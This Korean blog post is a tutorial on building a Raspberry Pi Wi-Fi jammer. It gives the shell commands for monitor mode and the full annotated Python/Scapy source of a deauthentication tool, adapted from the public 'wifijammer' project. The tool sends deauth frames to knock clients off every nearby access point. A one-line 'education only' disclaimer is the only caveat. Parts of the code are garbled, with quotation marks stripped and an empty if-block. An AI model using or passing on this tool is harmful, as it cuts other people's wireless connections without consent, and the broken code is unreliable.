[Raspi] Wifi-jammer 만들기

타인에게 피해를 줄 경우 엄연히 불법입니다. 교육용으로만 사용하세요.

준비물

  1. Raspi
  2. Wifi adapter

아래 코드를 이용해 python 파일을 만들어 실행시키면 된다.
실행시키게 되면 아래와 같은 문구와 함께 코드가 실행된다.


여기서 제대로 작동하지 않는 경우가 있다. 대개 아래와 같은 문구를 띄우는데... 다음과 같은 두 상황일 경우가 가장 흔하다.

[-] Channel hopping failed: command failed: Device or resource busy (-16)
  1. Wifi adapter를 연결하지 않은 경우
  2. Wifi adapter가 기존 network에 연결된 경우

Wifi adapter를 연결하는 이유는 adapter를 monitor mode로 사용하기 위함인데 adapter가 monitor mode가 아닌 연결된 상태로 있다면 monitor mode로 setting 할 수 없기 때문에 오류가 난다.
다음과 같이 연결을 끊고 monitor mode를 on해주면 해결된다.

sudo ifconfig wlan1 down
sudo iwconfig wlan1 mode monitor
sudo ifconfig wlan1 up
sudo airmon-ng start wlan1

/* ref) https://miloserdov.org/?p=126 */

그럼 위와 같은 식으로 주변의 모든 network를 monitoring하고 1초에 하나씩 모든 channel을 hopping하며 모든 access point를 잡아낸다.

모든 AP와 client를 찾아낸 이후, AP에서 client로 향하는 deauth packet, client에서 AP로 향하는 deauth packet, AP에 연결된 모든 client를 deauth 시키기 위한 broadcast address로 향하는 deauth packet를 send한다.

#!/usr/bin python3
# -*- coding utf-8 -*-
from scapy.all import *

import logging
logging.getLogger(scapy.runtime).setLevel(logging.ERROR) # Shut up Scapy
conf.verb = 0 # Scapy I thought I told you to shut up
import os
import sys
import time

from threading import Thread, Lock
from subprocess import Popen, PIPE
from signal import SIGINT, signal

import argparse
import socket
import struct
import fcntl

Console colors

W  = '\033[0m'  # white (normal)
R  = '\033[31m' # red
G  = '\033[32m' # green
O  = '\033[33m' # orange
B  = '\033[34m' # blue
P  = '\033[35m' # purple
C  = '\033[36m' # cyan
GR = '\033[37m' # gray
T  = '\033[93m' # tan

arg 받는 함수 정의

def parse_args():
    #Create the arguments
    parser = argparse.ArgumentParser()

    parser.add_argument(-s,
                        --skip,
                        nargs='*',
                        default=[],
                        help=Skip deauthing this MAC address. \
                                Example: -s 00:11:BB:33:44:AA)
    parser.add_argument(-i,
                        --interface,
                        help=Choose monitor mode interface. \
                                By default script will find the most powerful \
                                interface and starts monitor mode on it. \
                                Example: -i mon5)
    parser.add_argument(-c,
                        --channel,
                        help=Listen on and deauth only clients on the specified channel. \
                                Example: -c 6)
    parser.add_argument(-m,
                        --maximum,
                        help=Choose the maximum number of clients to deauth. \
                                List of clients will be emptied and repopulated \
                                after hitting the limit. Example: -m 5)
    parser.add_argument(-n,
                        --noupdate,
                        help=Do not clear the deauth list when the maximum (-m) \
                                number of client/AP combos is reached. \
                                Must be used in conjunction with -m. \
                                Example: -m 10 -n,
                        action='store_true')
    parser.add_argument(-t,
                        --timeinterval,
                        help=Choose the time interval between packets being sent. \
                                Default is as fast as possible. \
                                If you see scapy errors like 'no buffer space' \
                                try: -t .00001)
    parser.add_argument(-p,
                        --packets,
                        help=Choose the number of packets to send in each deauth burst. \
                                Default value is 1; \
                                1 packet to the client and 1 packet to the AP. \
                                Send 2 deauth packets to the client \
                                and 2 deauth packets to the AP: -p 2)
    parser.add_argument(-d,
                        --directedonly,
                        help=Skip the deauthentication packets to the broadcast \
                                address of the access points and only send them \
                                to client/AP pairs,
                        action='store_true')
    parser.add_argument(-a,
                        --accesspoint,
                        nargs='*',
                        default=[],
                        help=Enter the SSID or MAC address of a specific access point to target)
    parser.add_argument(--world,
                        help=N. American standard is 11 channels but the rest \
                                of the world it's 13 so this options enables the \
                                scanning of 13 channels,
                        action=store_true)
    parser.add_argument(--dry-run,
                        dest=dry_run,
                        default=False,
                        action='store_true',
                        help=Do not send any deauth packets.)
    return parser.parse_args()
########################################
# Begin interface info and manipulation
########################################

def get_mon_iface(args): # AP 를 가장 많이 찾은 interface = most powerful
    global monitor_on # 전역변수 monitor_on
    monitors, interfaces = iwconfig() # return monitors, interfaces
    if args.interface: # args.interface 설정이 있다면...
        monitor_on = True
        return args.interface
    if len(monitors) > 0:
        monitor_on = True
        return monitors[0] # 첫번째 monitor를 mon_iface로 return
    else:
        # Start monitor mode on a wireless interface
        print('['+G+'*'+W+'] Finding the most powerful interface...')
        interface = get_iface(interfaces) # interface: AP를 가장 많이 찾은 interface for monitoring
        monmode = start_mon_mode(interface) # return the interface which had received as args after its monitoring on
        return monmode # monmode: most powerful, monitoring on
def iwconfig(): # 라즈베리파이에 연결되어 있는 모든 interface return
    monitors = []
    interfaces = {}
    try:
        proc = Popen(['iwconfig'], stdout=PIPE, stderr=None)  # ['iwconfig'] : 프로그램 인자의 리스트
    except OSError:
        sys.exit('['+R+'-'+W+'] Could not execute "iwconfig"')  # iwconfig에 대한 싫행 권한이 있어야 함
    for line in proc.communicate()[0].decode().split('\n'):
        if len(line) == 0: # 연결되어 있는 interface가 없으면 다음 loop 진행
        if line[0] != ' ': # Doesn't start with space
            wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line) 
            if not wired_search: # 유선 interface는 무시
                iface = line[:line.find('  ')] # is the interface
                if 'Mode:Monitor' in line: # 이미 monitor mode로 작동하는 interface가 있다면 그것을 이용
                    monitors.append(iface)
                elif 'IEEE 802.11' in line:
                    if "ESSID:\"" in line:
                        interfaces[iface] = 1
                    else:
                        interfaces[iface] = 0
    return monitors, interfaces

communicate: 자식 프로세스의 표준 입력으로 데이터를 보낸다음, 표준 출력의 EOF를 만날 때까지 이를 읽어온다.(프로세스가 끝날 때까지 기다린다.) 이 함수는 (stdout_data, stderr_data)의 튜플을 리턴한다. 이 함수를 사용하려면 stdin=PIPE 옵션으로 자식 프로세스를 시작해야 한다.

def get_iface(interfaces):
    # wireless interface(most powerful one) 찾아주는 함수,
    # interfaces: iwconfig를 통해서 찾은 모든 interface
    scanned_aps = []

    if len(interfaces) < 1:
        sys.exit('['+R+'-'+W+'] No wireless interfaces found, bring one up and try again')
    if len(interfaces) == 1: # 하나밖에 없다면 그것 return
        for interface in interfaces:
            return interface

    # Find most powerful interface
    for iface in interfaces:
        count = 0
        proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN) # scanning for nearby wireless access points.
        for line in proc.communicate()[0].decode().split('\n'):
            if ' - Address:' in line: # first line in iwlist scan for a new AP
                count += 1 # 주변 wifi 숫자 count
        scanned_aps.append((count, iface))
        print('['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W)
    try: # AP를 가장 많이 찾은 interface를 return
        interface = max(scanned_aps)[1]
        return interface
    except Exception as e:
        for iface in interfaces:
            interface = iface
            print('['+R+'-'+W+'] Minor error:',e)
            print('    Starting monitor mode on '+G+interface+W)
            return interface

def start_mon_mode(interface): # interface: most powerful interface for monitoring
    print('['+G+'+'+W+'] Starting monitor mode off '+G+interface+W)
    try: # monitoring 으로 전환
        os.system('ifconfig %s down' % interface)
        os.system('iwconfig %s mode monitor' % interface)
        os.system('ifconfig %s up' % interface)
        return interface
    except Exception:
        sys.exit('['+R+'-'+W+'] Could not start monitor mode')

def remove_mon_iface(mon_iface):
    os.system('ifconfig %s down' % mon_iface)
    os.system('iwconfig %s mode managed' % mon_iface)
    os.system('ifconfig %s up' % mon_iface)
# monitoring interface의 mac 주소
def mon_mac(mon_iface):# mon_iface: most powerful, monitoring on > mac 주소 return
    # http://stackoverflow.com/questions/159137/getting-mac-address

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ## create an INET, UDP 소켓
    info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
    # fcntl.ioctl(fd, request, arg=0, mutate_flag=True)
    mac = ':'.join(['%02x' % char for char in info[18:24]])
    print('['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' - '+O+mac+W)
    return mac

########################################
# End of interface info and manipulation
########################################

TCP/UDP Socket

TCP는 SOCK_STREAM을. UDP는 주로 SOCK_DGRAM을 이용한다.
TCP (SOCK_STREAM)은 connection-based protocol이다. TCP 통신이 연결되면 두 연결 대상은 해당 연결이 종결되기 전까지 계속하여 통신한다.
반면, UDP (SOCK_DGRAM)은 datagram-based protocol이다. 하나의 datagram이 전송/수신되면 연결이 종결된다.

TCP 통신은 여러 packets을 정확한 순서로 전송한다. 반면 UDP 통신은 순서대로 packets을 전송하는 것이 아니기 때문에 만약 순서가 중요하다면 수신자가 이를 확인해야 한다. 만약 TCP packet이 중간에 사라졌다면 송신자는 이를 보고한다. 반면 UDP는 packet 손실 시에 이를 알려주지 않는다. UDP datagram의 크기는 512 byte로 제한되어 있고, TCP는 이보다 더 큰 용량의 packet을 전송가능 하다. 결과론적으로 TCP가 좀 더 견고하게 작성되었고 여러 번의 확인작업을 거치는 반면 UDP는 이보다 가볍게 작성되었다는 것이 특징이다.



def channel_hop(mon_iface, args):
    '''
    First time it runs through the channels it stays on each channel for 5 seconds
    in order to populate the deauth list nicely. After that it goes as fast as it can
    '''
    global monchannel, first_pass # first_pass default : 1

    channelNum = 0
    maxChan = 11 if not args.world else 13
    err = None

    while 1: # 모든 채널 계속 순회하면서~
        if args.channel: # Channel 하나 지정한 경우
            with lock:
                monchannel = args.channel
        else:
            channelNum +=1 # 하나 아닌 경우 maxChan 될 때까지 하나씩 순회
            if channelNum > maxChan:
                channelNum = 1
                with lock:
                    first_pass = 0
            with lock:
                monchannel = str(channelNum)

            try:
                proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
                # iw dev 현재 동작 가능한 WIFI Adapters를 찾는다.
                # monitoring interface를 원하는 channel로 맞춘다.
            except OSError:
                print('['+R+'-'+W+'] Could not execute "iw"')
                os.kill(os.getpid(),SIGINT)
                sys.exit(1)
            for line in proc.communicate()[1].decode().split('\n'): # communicate return : (out, err)
                if len(line) > 2: # iw dev shouldnt display output unless there's an error
                    err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W

        output(err, monchannel)
        #########################################
        if args.channel:
            time.sleep(.05)
        else:
            # For the first channel hop thru, do not deauth
            if first_pass == 1:
                time.sleep(1)
                continue

        deauth(monchannel)

# monchannel에다가 deauth packet 만들어서 send하기
def deauth(monchannel):
    '''
    addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
    multi-APs to one gateway. Constantly scans the clients_APs list and
    starts a thread to deauth each instance
    '''

    pkts = []

    if len(clients_APs) > 0:
        with lock:
            for x in clients_APs:
                client = x[0]
                ap = x[1]
                ch = x[2]
                # Can't add a RadioTap() layer as the first layer or it's a malformed
                # Association request packet?
                # Append the packets to a new list so we don't have to hog the lock
                # type=0, subtype=12?
                if ch == monchannel:
                    # deauth packet 만들기
                    # Dot11 : 802.11...
                    # The addr1 field defines the destination/receiver,
                    # addr2 the source/transmitter 
                    # addr3 the BSSID of the frame.  (addr2랑 addr3랑 같게하면되나)
                    deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
                    deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
                    pkts.append(deauth_pkt1)
                    pkts.append(deauth_pkt2)
    if len(APs) > 0:
        if not args.directedonly:
            with lock:
                for a in APs:
                    ap = a[0]
                    ch = a[1]
                    if ch == monchannel:
                        # ??? fffffffffffffffffffff
                        deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
                        pkts.append(deauth_ap)

    if len(pkts) > 0:
        # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
        if not args.timeinterval:
            args.timeinterval = 0
        if not args.packets:
            args.packets = 1

        for p in pkts:
            # 만든 packet send
            # send() : send packets at layer3, handle routing and layer 2 for you
            # sendp() : work at layer 2
            send(p, inter=float(args.timeinterval), count=int(args.packets))

def output(err, monchannel):
    os.system('clear')
    if err:
        print(err)
    else:
        print('['+G+'+'+W+'] '+mon_iface+' channel: '+G+monchannel+W+'\n')
    if len(clients_APs) > 0:
        print('                  Deauthing                 ch   ESSID')
    # Print the deauth list
    with lock:
        for ca in clients_APs:
            if len(ca) > 3:
                print('['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W)
            else:
                print('['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2])
    if len(APs) > 0:
        print('\n      Access Points     ch   ESSID')
    with lock:
        for ap in APs:
            print('['+T+'*'+W+'] '+O+ap[0]+W+' - '+ap[1].ljust(2)+' - '+T+ap[2]+W)
    print('')
def noise_filter(skip, addr1, addr2):
    # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
    ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', mon_MAC]
    if skip:
        ignore.append(skip)
    for i in ignore:
        if i in addr1 or i in addr2:
            return True

def cb(pkt):
    # pkt : sniff 함수로부터 전달받은 패킷
    '''
    Look for dot11 packets that aren't to or from broadcast address,
    are type 1 or 2 (control, data), and append the addr1 and addr2
    to the list of deauth targets.
    '''
    global clients_APs, APs

    # return these if's keeping clients_APs the same or just reset clients_APs?
    # I like the idea of the tool repopulating the variable more
    if args.maximum:
        if args.noupdate:
            if len(clients_APs) > int(args.maximum):
                return
        else:
            if len(clients_APs) > int(args.maximum):
                with lock:
                    clients_APs = []
                    APs = []

    # We're adding the AP and channel to the deauth list at time of creation rather
    # than updating on the fly in order to avoid costly for loops that require a lock
    if pkt.haslayer(Dot11):
        # pkt에 Dot11 layer가 있다면??
        if pkt.addr1 and pkt.addr2:
            pkt.addr1 = pkt.addr1.lower()
            pkt.addr2 = pkt.addr2.lower()

            # Filter out all other APs and clients if asked
            if args.accesspoint:
                if args.accesspoint.lower() not in [pkt.addr1, pkt.addr2]:
                    return

            if args.skip:
                if args.skip.lower() == pkt.addr2:
                    return

            # Check if it's added to our AP list
            if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
                APs_add(clients_APs, APs, pkt, args.channel, args.world)

            # Ignore all the noisy packets like spanning tree

            #if noise_filter(skip, pkt.addr1, pkt.addr2):
            #    return

            # Management = 1, data = 2
            if pkt.type in [1, 2]:
                clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)

def APs_add(clients_APs, APs, pkt, chan_arg, world_arg):
    # 전달받는 packet은 Dot11 layer 있어야함
    # + Dot11Beacon or Dot11ProbeResp layer도 있어야함
    ssid       = pkt[Dot11Elt].info
    bssid      = pkt[Dot11].addr3.lower()
    try:
        # Thanks to airoscapy for below
        ap_channel = str(ord(pkt[Dot11Elt:3].info))
        chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11'] if not args.world else ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13'] 
        if ap_channel not in chans:
            return

        if chan_arg:
            if ap_channel != chan_arg:
                return

    except Exception as e:
        return

    if len(APs) == 0:
        with lock:
            return APs.append([bssid, ap_channel, ssid])
    else:
        for b in APs:
            if bssid in b[0]:
                return
        with lock:
            return APs.append([bssid, ap_channel, ssid])
def clients_APs_add(clients_APs, addr1, addr2):
    if len(clients_APs) == 0:
        if len(APs) == 0:
            with lock:
                return clients_APs.append([addr1, addr2, monchannel])
        else:
            AP_check(addr1, addr2)

    # Append new clients/APs if they're not in the list
    else:
        for ca in clients_APs:
            if addr1 in ca and addr2 in ca:
                return

        if len(APs) > 0:
            return AP_check(addr1, addr2)
        else:
            with lock:
                return clients_APs.append([addr1, addr2, monchannel])

def AP_check(addr1, addr2):
    for ap in APs:
        if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
            with lock:
                return clients_APs.append([addr1, addr2, ap[1], ap[2]])

def stop(signal, frame):
    if monitor_on:
        sys.exit('\n['+R+'!'+W+'] Closing')
    else:
        remove_mon_iface(mon_iface)
        os.system('service network-manager restart')
        sys.exit('\n['+R+'!'+W+'] Closing')

if __name__ == "__main__":
    if os.geteuid():
        sys.exit('['+R+'-'+W+'] Please run as root')
    clients_APs = []
    APs = []
    DN = open(os.devnull, 'w') # 널(null) 장치의 파일 경로
    lock = Lock() # Thread 공유 데이터 Lock 사용을 위해 객체 획득
    args = parse_args() # 사용자가 입력한 args를 받음
    monitor_on = None
    mon_iface = get_mon_iface(args) # most powerful, monitoring on
    conf.iface = mon_iface
    mon_MAC = mon_mac(mon_iface) # mac 주소 return
    first_pass = 1

    # Start channel hopping
    hop = Thread(target=channel_hop, args=(mon_iface, args))
    # monitoring interface를 args로 넘겨준다.
    # 함수 및 메서드 실행 방식은 쓰레드가 실행할 함수 (혹은 메서드)를
    # 작성하고 그 함수명을 hreading.Thread() 함수의 target 아큐먼트에 지정
    hop.daemon = True
    # daemon 설정 : 메인 쓰레드가 종료되면 즉시 종료되는 쓰레드
    hop.start()

    signal(SIGINT, stop)

    try:
        sniff(iface=mon_iface, store=0, prn=cb)
        # sniff has an argument prn that allows you
        # to pass a function that executes with each packet sniffed.
        # prn: function to apply to each packet.
        # If something is returned, it is displayed.
        # For instance you can use prn = lambda x: x.summary().
    except Exception as msg:
        remove_mon_iface(mon_iface)
        os.system('service network-manager restart')
        print('\n['+R+'!'+W+'] Closing')
        sys.exit(0)

https://github.com/DanMcInerney/wifijammer

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다